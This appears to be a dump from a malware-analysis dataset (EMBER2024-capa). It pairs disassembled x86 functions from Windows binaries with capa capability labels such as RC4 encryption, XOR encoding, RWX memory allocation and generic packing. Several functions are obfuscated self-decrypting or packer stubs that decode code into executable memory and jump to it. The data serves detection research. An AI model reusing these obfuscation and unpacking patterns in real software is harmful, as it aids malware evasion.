joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10029300
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x58
mov ebx, dword [edx + 8]
mov dword [esp], ecx
mov eax, dword [edx]
mov ecx, dword [edx + 4]
cmp dword [ebx], 0
je 0x10029324
mov edi, dword [ebx + 0xc]
mov ebx, dword [ebx + 4]
jmp 0x10029333
mov edi, dword [ebx + 4]
cmp edi, 6
jae 0x10029498
add ebx, 8
test edi, edi
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], edi
mov dword [esp + 0x1c], edx
je 0x1002940a
nop
dec edi
add ebx, 0x10
cmp edi, 0xffffffff
je 0x10029423
lea eax, [ebx - 0x10]
lea ecx, [esp + 0x20]
lea esi, [esp + 0x38]
lea edx, [esp + 0xc]
movsd xmm0, qword [eax]
movsd xmm1, qword [eax + 8]
mov eax, dword [esp + 0x1c]
movsd qword [esp + 0x40], xmm1
movsd qword [esp + 0x38], xmm0
mov eax, dword [eax + 0xc]
push esi
push dword [eax + 0x20]
call fcn.100249d0
add esp, 8
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x24]
mov edx, eax
xor edx, 0x2e
or edx, ecx
je 0x1002944f
lea esi, [esp + 0x32]
mov edx, dword [esp + 0x28]
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], edi
mov esi, dword [esi]
mov dword [esp + 4], esi
lea esi, [esp + 0x32]
movzx esi, word [esi + 4]
mov word [esp + 8], si
movzx esi, word [esp + 0x30]
cmp si, word [ebp + 8]
mov esi, dword [esp + 0x2c]
jne 0x10029350
movzx edi, word [esp + 8]
mov ebx, dword [esp]
mov word [ebx + 0x16], di
mov edi, dword [esp + 4]
mov dword [ebx + 0x12], edi
mov dword [ebx + 4], ecx
movzx ecx, word [ebp + 8]
mov dword [ebx], eax
mov dword [ebx + 8], edx
mov dword [ebx + 0xc], esi
mov word [ebx + 0x10], cx
jmp 0x10029490
cmp dword [edx + 0x14], 0
mov eax, dword [esp]
jne 0x10029440
mov dword [edx + 0x14], 1
mov dword [edx + 0x18], 0
jmp 0x10029440
mov eax, dword [esp + 0x1c]
cmp dword [eax + 0x14], 0
jne 0x1002943d
mov ecx, dword [esp + 0xc]
sub ecx, dword [eax]
mov dword [eax + 0x14], 1
mov dword [eax + 0x18], ecx
mov eax, dword [esp]
mov dword [eax + 4], 0
mov dword [eax], 0x2e
jmp 0x10029490
lea edx, [esp + 0x32]
mov ecx, dword [esp]
mov edi, dword [esp + 0x2c]
mov esi, dword [edx]
movzx eax, word [edx + 4]
movzx edx, word [esp + 0x30]
mov dword [esp + 4], esi
mov dword [ecx + 0x12], esi
mov esi, dword [esp + 0x28]
mov word [ecx + 0x16], ax
mov word [esp + 8], ax
mov dword [ecx + 0xc], edi
mov dword [ecx + 8], esi
mov word [ecx + 0x10], dx
mov dword [ecx + 4], 0
mov dword [ecx], 0x2f
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov ecx, edi
mov edx, 5
push 0x104eda1c
call fcn.10003920
add esp, 4
ud2
Function at 0x1003f500
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.10039ea0
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.10039ea0
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x1003f560
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x104f8ac4]
test esi, esi
jle 0x1003f680
mov eax, dword [0x104f8ac8]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x1003f594
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x1003f617
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x1003f580
mov dword [esp], ebx
call fcn.1003fd50
mov edi, eax
test eax, eax
je 0x1003f6a7
mov eax, dword [0x104f8ac8]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.1003fe90
mov edx, dword [0x104f8ac8]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x1003f687
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x1003f610
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x1003f620
add dword [0x104f8ac4], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x104f8ac8]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x1003f610
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.1003f500
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x1003f59e
mov eax, dword [0x104f8ac8]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.1003f500
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.1003f500
lea esi, [esi]
nop
Function at 0x1003f9c0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x104f8ad4
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x104f8acc]
sub esp, 4
test ebx, ebx
je 0x1003fa15
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x1003fa0e
test esi, esi
je 0x1003fa0e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x1003f9f0
mov dword [esp], 0x104f8ad4
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x1003fd50
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x10000000], 0x5a4d
jne 0x1003fd75
mov ecx, dword [0x1000003c]
cmp dword [ecx + 0x10000000], 0x4550
lea edx, [ecx + 0x10000000]
je 0x1003fd80
ret
cmp word [ecx + 0x10000018], 0x10b
jne 0x1003fd75
push esi
movzx eax, word [ecx + 0x10000014]
push ebx
movzx esi, word [ecx + 0x10000006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x10000000
test si, si
je 0x1003fdc8
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x1003fdbe
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x1003fdca
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x1003fdb0
xor eax, eax
pop ebx
pop esi
ret
Function at 0x40110c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x455030]
jne 0x401116
repz ret
jmp fcn.00401b41

Function at 0x40a7e4
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00405e85
and dword [ebp - 4], 0
cmp dword [0x457894], 0
mov ebx, eax
jne 0x40a895
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40a946
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40a946
push eax
call fcn.00405e13
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x457894], eax
call esi
push eax
call fcn.00405e13
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x457898], eax
call esi
push eax
call fcn.00405e13
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x45789c], eax
call esi
push eax
call fcn.00405e13
pop ecx
mov dword [0x4578a4], eax
test eax, eax
je 0x40a895
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00405e13
pop ecx
mov dword [0x4578a0], eax
mov eax, dword [0x4578a0]
cmp eax, ebx
je 0x40a8ed
cmp dword [0x4578a4], ebx
je 0x40a8ed
push eax
call fcn.00405e8e
push dword [0x4578a4]
mov esi, eax
call fcn.00405e8e
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40a8ed
test edi, edi
je 0x40a8ed
call esi
test eax, eax
je 0x40a8e4
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40a8e4
test byte [ebp - 0xc], 1
jne 0x40a8ed
or dword [ebp + 0x10], 0x200000
jmp 0x40a926
mov eax, dword [0x457898]
cmp eax, ebx
je 0x40a926
push eax
call fcn.00405e8e
pop ecx
test eax, eax
je 0x40a926
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40a926
mov eax, dword [0x45789c]
cmp eax, ebx
je 0x40a926
push eax
call fcn.00405e8e
pop ecx
test eax, eax
je 0x40a926
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x457894]
call fcn.00405e8e
pop ecx
test eax, eax
je 0x40a946
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40a948
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402e82
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x402e91
pop dword [ebp - 0x1c]
mov eax, 0x402e91
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x278cd8f3
sub dword [ebp - 0x2c], 0xd93a93a8
mov dword [ebp - 0x28], 0x3c79243c
add dword [ebp - 0x28], 0xf5ba2809
mov dword [ebp - 0x24], 0xfc97987e
add dword [ebp - 0x24], 0x4fb4abb0
mov dword [ebp - 0x20], 0xf509c301
add dword [ebp - 0x20], 0xaf63cff
lea eax, [ebp - 0x2c]
push eax
mov eax, 0xae91d7ed
add eax, 0x51aea917
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0xee120882
sub dword [ebp - 0x2c], 0x799f9f2c
mov dword [ebp - 0x28], 0xde53dff5
add dword [ebp - 0x28], 0x63188180
mov dword [ebp - 0x24], 0x1609b619
add dword [ebp - 0x24], 0x4d65b653
mov dword [ebp - 0x20], 0x2ac04306
add dword [ebp - 0x20], 0xd53fbcfa
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0xff88b598
sub eax, 0xff483498
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x38bea
push 0
call eax
mov ecx, 0x4f00
mov edi, eax
mov ebx, 0x330507ef
add ebx, 0xcd3ffc11
add ebx, dword [ebp - 0x1c]
mov edx, 0x368c8d42
add edx, 0x1c1f9bea
sub dword [ebp - 0x10], ecx
mov esi, dword [ebx]
xor dword [ebp - 0x14], 0x4d69ba7c
xor esi, edx
mov dword [ebp - 4], 0x72ed5d82
mov dword [edi], esi
xor dword [ebp - 0x18], 0xb192e85
add edi, 4
add ebx, 0xaf54bc10
add ebx, 0x50ab43f4
loop 0x402fa8
add eax, 0x7f08b24a
sub eax, 0x7f078377
mov ebx, eax
add eax, 0x8387b569
sub eax, 0x8387b564
mov ecx, 0x21675a6d
sub ecx, 0x21275a6d
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x405e13
Capabilities:
Get file size

Disassembly:
push ebx
push ebp
push esi
push edi
mov ebx, 0x4308e8
push 0x40a574
push ebx
call dword [sym.imp.kernel32.dll_lstrcpyW]
mov esi, dword [esp + 0x18]
mov ebp, dword [sym.imp.kernel32.dll_GetShortPathNameW]
test esi, esi
mov edi, 0x400
je 0x405e61
push 1
push 0
push esi
call fcn.00405cb9
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
push edi
push ebx
push esi
call ebp
test eax, eax
je 0x405f80
cmp eax, edi
jg 0x405f80
mov esi, 0x4310e8
push edi
push esi
push dword [esp + 0x1c]
call ebp
test eax, eax
je 0x405f80
cmp eax, edi
jg 0x405f80
push esi
push ebx
push str._ls_ls_r_n
push 0x4304e8
call dword [sym.imp.USER32.dll_wsprintfA]
mov ebx, eax
mov eax, dword [0x434ef0]
add esp, 0x10
push dword [eax + 0x128]
push esi
call fcn.00402e82
push 4
push 0xc0000000
push esi
call fcn.00405cb9
mov ebp, eax
cmp ebp, 0xffffffff
mov dword [esp + 0x18], ebp
je 0x405f80
push 0
push ebp
call dword [sym.imp.kernel32.dll_GetFileSize]
mov edi, eax
lea eax, [edi + ebx + 0xa]
push eax
push 0x40
call dword [sym.imp.kernel32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x405f79
push edi
push esi
push ebp
call fcn.00402e82
test eax, eax
je 0x405f79
push str._Rename__r_n
push esi
call fcn.00402e82
test eax, eax
jne 0x405f17
lea eax, [esi + edi]
push str._Rename__r_n
push eax
call dword [sym.imp.kernel32.dll_lstrcpyA]
add edi, 0xa
jmp 0x405f4c
add eax, 0xa
push 0x40a558
push eax
call fcn.00402e82
mov ebp, eax
test ebp, ebp
je 0x405f48
lea ecx, [esi + edi]
lea eax, [ecx + ebx]
jmp 0x405f39
mov dl, byte [ecx]
mov byte [eax], dl
dec eax
dec ecx
cmp ecx, ebp
ja 0x405f33
sub ebp, esi
inc ebp
mov eax, ebp
mov ebp, dword [esp + 0x18]
jmp 0x405f4e
mov ebp, dword [esp + 0x18]
mov eax, edi
push ebx
add eax, esi
push 0x4304e8
push eax
call fcn.00405c74
xor eax, eax
push eax
push eax
push eax
push ebp
call dword [sym.imp.kernel32.dll_SetFilePointer]
add edi, ebx
push edi
push esi
push ebp
call fcn.00402e82
push esi
call dword [sym.imp.kernel32.dll_GlobalFree]
push ebp
call dword [sym.imp.kernel32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x405f85
Capabilities:
Move file

Disassembly:
push 5
push dword [esp + 0xc]
push dword [esp + 0xc]
call dword [sym.imp.kernel32.dll_MoveFileExW]
test eax, eax
jne 0x405fa8
push dword [esp + 8]
push dword [esp + 8]
call fcn.00405e13
pop ecx
pop ecx
inc dword [0x434f70]
ret 8

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x433072
nop
nop
mov ebx, 0x40de38
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x4b987011
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x433060
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
nop
je 0x4330d2
nop
nop
nop
nop
mov ebx, 0x4304d8
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x11c34f4d
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x4330c0
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x298072e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x29876b48]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
or edi, 0xffffffff
mov esi, ecx
cmp ebx, edi
jne 0x29807306
xor eax, eax
jmp 0x298073c1
mov eax, dword [esi + 0x20]
cmp dword [eax], 0
je 0x29807328
mov edx, dword [esi + 0x30]
mov edx, dword [edx]
add edx, dword [eax]
cmp dword [eax], edx
jae 0x29807328
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void_]
mov byte [eax], bl
mov eax, ebx
jmp 0x298073c1
cmp dword [esi + 0x4c], 0
je 0x298073bf
call fcn.29806a7d
mov ecx, dword [esi + 0x38]
mov al, bl
test ecx, ecx
jne 0x29807352
push dword [esi + 0x4c]
push eax
call fcn.29826fda
test al, al
pop ecx
pop ecx
cmovne edi, ebx
jmp 0x298073bf
mov byte [ebp - 0x28], al
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x27]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
test eax, eax
js 0x298073bf
cmp eax, 1
jle 0x2980738d
cmp eax, 3
jne 0x298073bf
push dword [esi + 0x4c]
push dword [ebp - 0x28]
jmp 0x29807344
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x24]
sub eax, ecx
mov dword [ebp - 0x30], eax
je 0x298073b1
push dword [esi + 0x4c]
push eax
mov eax, ecx
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp dword [ebp - 0x30], eax
jne 0x298073bf
lea eax, [ebp - 0x28]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x34], eax
mov eax, ebx
jne 0x298073c1
mov eax, edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.29801cc0
leave
ret 4
Function at 0x29826d7d
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x428
mov eax, 0x29854690
call fcn.2985114e
mov edx, dword [ebp + 0xc]
xor ebx, ebx
mov eax, dword [ebp + 8]
mov esi, ebx
mov dword [ebp - 0x42c], edx
mov edx, dword [ebp + 0x10]
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x428], edx
mov dword [ebp - 0x424], esi
mov dword [ebp - 4], ebx
mov dword [ebp - 0x430], ecx
mov dword [ebp - 0x434], ebx
mov dword [ebp - 0x418], ebx
mov byte [ebp - 4], 1
test eax, eax
je 0x29826f9e
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcslen]
inc eax
push 2
push eax
mov dword [ebp - 0x420], eax
lea eax, [ebp - 0x420]
push eax
call fcn.29826fda
add esp, 0x10
test eax, eax
js 0x29826f98
mov edi, dword [ebp - 0x420]
cmp edi, 0x400
jg 0x29826e21
push edi
call fcn.29827ddd
pop ecx
test al, al
je 0x29826e21
mov eax, edi
call fcn.29851670
mov dword [ebp - 0x10], esp
mov eax, esp
jmp 0x29826e33
push edi
lea ecx, [ebp - 0x424]
call fcn.29826fda
mov esi, dword [ebp - 0x424]
push 3
push edi
push dword [ebp - 0x41c]
push eax
call fcn.29826fda
mov dword [ebp - 0x41c], eax
test eax, eax
je 0x29826f98
push 0x60
push ebx
push eax
call fcn.29828150
mov edi, eax
mov dword [ebp - 0x420], edi
test edi, edi
jne 0x29826e8b
push 2
push ebx
push dword [ebp - 0x41c]
call fcn.29828150
mov edi, eax
mov dword [ebp - 0x420], eax
test edi, edi
jne 0x29826e8b
call fcn.29825061
mov ebx, eax
jmp 0x29826f67
push dword [ebp - 0x428]
push dword [ebp - 0x42c]
push edi
call dword [sym.imp.kernel32.dll_FindResourceA]
mov dword [ebp - 0x42c], eax
test eax, eax
jne 0x29826eb2
call fcn.29825061
jmp 0x29826f5a
push eax
push edi
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp - 0x428], eax
test eax, eax
je 0x29826ea8
push dword [ebp - 0x42c]
push edi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov dword [ebp - 0x41c], eax
lea ecx, [eax + 1]
cmp ecx, eax
jae 0x29826ee5
mov ebx, 0x8007000e
jmp 0x29826f5c
push ecx
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 2
call fcn.29826fda
jmp 0x29826f0b
cmp dword [ebp - 0x418], 0
mov dword [ebp - 4], 1
je 0x29826ede
mov eax, dword [ebp - 0x41c]
push eax
push dword [ebp - 0x428]
push eax
push dword [ebp - 0x418]
call fcn.29826fda
mov eax, dword [ebp - 0x418]
add esp, 0x10
mov ecx, dword [ebp - 0x41c]
push dword [ebp + 0x14]
mov byte [eax + ecx], bl
lea ecx, [ebp - 0x434]
push dword [ebp - 0x418]
call fcn.29826fda
mov ebx, eax
test edi, edi
je 0x29826f67
push edi
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x29826f80
lea ecx, [ebp - 0x418]
call fcn.29825bb4
or dword [ebp - 4], 0xffffffff
jmp 0x29826f90
push esi
mov esi, dword [esi]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
test esi, esi
jne 0x29826f86
mov eax, ebx
jmp 0x29826fcc
mov ebx, dword [ebp - 0x418]
lea eax, [ebp - 0x414]
cmp ebx, eax
je 0x29826fb3
lea ecx, [ebp - 0x418]
call fcn.29825bb4
or dword [ebp - 4], 0xffffffff
jmp 0x29826fc3
push esi
mov esi, dword [esi]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
test esi, esi
jne 0x29826fb9
mov eax, 0x8007000e
lea esp, [ebp - 0x444]
call fcn.29851106
ret 0x10
Function at 0x29826fda
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x29826fe9
pop dword [ebp - 0x30]
mov eax, 0x1679ee56
sub eax, 0xecf77e6d
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0x4d03b3ba
add dword [ebp - 0x40], 0x14e9191
mov dword [ebp - 0x3c], 0xd1d15c4a
sub dword [ebp - 0x3c], 0x9f9e1005
mov dword [ebp - 0x38], 0xbf972419
add dword [ebp - 0x38], 0x8cb52015
mov dword [ebp - 0x34], 0x1dddd55c
sub dword [ebp - 0x34], 0x1dddd55c
lea eax, [ebp - 0x40]
push eax
mov eax, 0x18fdb405
add eax, 0x1087bcbb
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0x4d4d026f
sub dword [ebp - 0x40], 0xd8da9919
mov dword [ebp - 0x3c], 0xcd14e0da
sub dword [ebp - 0x3c], 0x8ba87f65
mov dword [ebp - 0x38], 0x282e38e6
add dword [ebp - 0x38], 0x3b413386
mov dword [ebp - 0x34], 0x7350306c
add dword [ebp - 0x34], 0x8cafcf94
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x49f34
push 0
call eax
mov ecx, 0x310112cc
add ecx, 0xceff3be1
xor edx, edx
add edx, eax
mov edi, 0x6aedcc8e
add edi, 0xbe9b9772
add edi, dword [ebp - 0x30]
mov esi, 0x76ed3e15
sub esi, 0x532d44c4
sub dword [ebp - 0x24], 0x1c59306
mov ebx, dword [edi]
add dword [ebp - 0x24], 0x6cbbd781
xor ebx, esi
add dword [ebp - 8], 0xd3cb5666
mov dword [edx], ebx
add dword [ebp - 0x20], 0x5a742dcf
add edx, 0x3f611117
add edx, 0xc09eeeed
add edi, 0x15b425e
sub edi, 0x15b425a
loop 0x29827108
add eax, 0x12d87
xor ebx, ebx
add ebx, eax
add eax, 0x6fef44f7
sub eax, 0x6fef44f2
mov ecx, 0xe1497b40
sub ecx, 0xb7c97b40
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x1003a910
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x1013d250], 0
mov byte [0x1013d254], 0
mov dword [0x1013d248], 0x33f9
mov dword [0x1013d244], 0x9a0
mov dword [0x1013d24c], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x1013d24c]
add eax, 1
mov dword [0x1013d24c], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x1003a95f
xor eax, eax
mov dword [0x1013d248], 0x1f91
mov dword [0x1013d24c], 0
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [0x1013d258], 0
mov dword [0x1013d244], 0x2391
mov edx, dword [0x1013d250]
mov esi, dword [ebp - 0x18]
movzx edi, byte [esi + eax]
add edi, edx
mov dword [ebp - 0x24], eax
xor edx, edx
mov ebx, dword [ebp - 0x10]
div ebx
mov esi, dword [ebp - 0x14]
movzx edx, byte [esi + edx]
add edi, edx
mov dword [0x1013d258], edi
mov eax, edi
cdq
idiv ecx
mov dword [0x1013d250], edx
mov dword [0x1013d244], 0x1197
mov ecx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x24]
mov cl, byte [ecx + edi]
mov byte [0x1013d254], cl
mov dword [0x1013d244], 0xd5c
mov ecx, dword [ebp - 0x18]
mov cl, byte [ecx + edx]
mov edx, dword [ebp - 0x18]
mov byte [edx + edi], cl
mov cl, byte [0x1013d254]
mov edx, dword [0x1013d250]
mov esi, dword [ebp - 0x18]
mov byte [esi + edx], cl
mov dword [0x1013d244], 0xcb9
mov edx, dword [0x1013d24c]
add edx, 1
mov dword [0x1013d24c], edx
cmp edx, 0x100
mov dword [ebp - 0x20], edx
jl 0x1003a99e
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret